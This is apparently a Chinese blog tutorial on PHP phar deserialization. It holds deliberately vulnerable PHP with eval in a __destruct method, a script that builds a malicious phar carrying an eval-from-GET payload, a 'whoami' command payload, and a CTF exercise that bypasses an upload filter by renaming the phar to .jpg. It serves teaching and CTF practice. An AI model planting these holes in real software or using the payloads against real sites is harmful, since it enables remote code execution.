Loading

PHP反序列化基础之phar反序列化漏洞

JAR(Java ARchive) 是用于开发 Java 应用程序的打包格式,它将所有可执行文件、资源文件等打包到一个 .jar 文件中,使得部署过程更加简单便捷。

类似地,PHAR(Php ARchive) 是 PHP 中的一种打包格式,类似于 Java 的 JAR。从 PHP 5.3 版本开始,Phar 扩展默认开启支持,开发者可以直接使用 .phar 文件。

PHAR 文件特点:

  • 支持 phar 伪协议,可通过 phar:// 直接读取 .phar 文件内容。
  • 适用于 PHP 应用程序的打包和分发,简化部署流程。

(补充说明:PHAR 类似于 Java 的 JAR,但专为 PHP 生态设计,方便代码封装和依赖管理。)

一、PHAR 文件结构

PHAR 文件包含四个核心部分:
  1. Stub(文件头标识)
    • 格式:xxx<?php xxx; __HALT_COMPILER();?>
    • 作用:作为可执行入口,类似Shell脚本的shebang

示例:

#!/usr/bin/env php
<?php
Phar::mapPhar('myapp.phar');
include 'phar://myapp.phar/main.php';
__HALT_COMPILER();
  1. Manifest(元数据)
    • 存储方式:序列化格式
    • 包含:文件名、大小、时间戳等属性
    • 安全提示:phar://协议会自动反序列化此部分
  2. Contents(文件内容)
    • 支持压缩格式:GZIP/BZIP2/无压缩
  3. Signature(签名)
    • 位置:文件末尾
    • 算法:支持SHA-1/SHA-256等

二、PHAR 文件操作示例

**创建PHAR文件:**
<?php
// 创建test2.phar文件
$phar = new Phar('test2.phar', 0, 'test2.phar');

// 添加F:\ODay目录所有文件到归档
$phar->buildFromDirectory('F:\ODay');

// 设置入口文件(命令行+浏览器访问)
$phar->setDefaultStub('test.txt', 'test.txt');

解压PHAR文件:

<?php
$phar = new Phar('test.phar');
$phar->extractTo('test');  // 解压到test目录

index.php

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));
}
?>

phar.php

<?php
highlight_file(__FILE__);
class Testobj
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

test.phar文件:

当我们使用phar://test.phar来读取文件的时候,就会将metadata中的字符串进行反序列化

一旦反序列化就会执行index.php中的destruct方法,就会执行output里面的内容,

也就是会使用eval执行a的值

所以构造payload:

phar://test.phar&a=system(%27whoami%27);

练习题:

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php
?>

解析步骤

生成一个phar文件;

在mate-data里放置一个包含Testobject()的序列化字符串

上传文件;

md5_file执行phar伪协议,触发反序列化

反序列化Testobject()触发 destruck执行echo $flag

生成phar文件:

<?php
class TestObject{
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

修改可以上传的后缀名

test.jpg

上传后

post提交:

file=phar://upload/test.jpg

posted @ 2025-04-05 21:16  赟希  阅读(36)  评论(0)    收藏  举报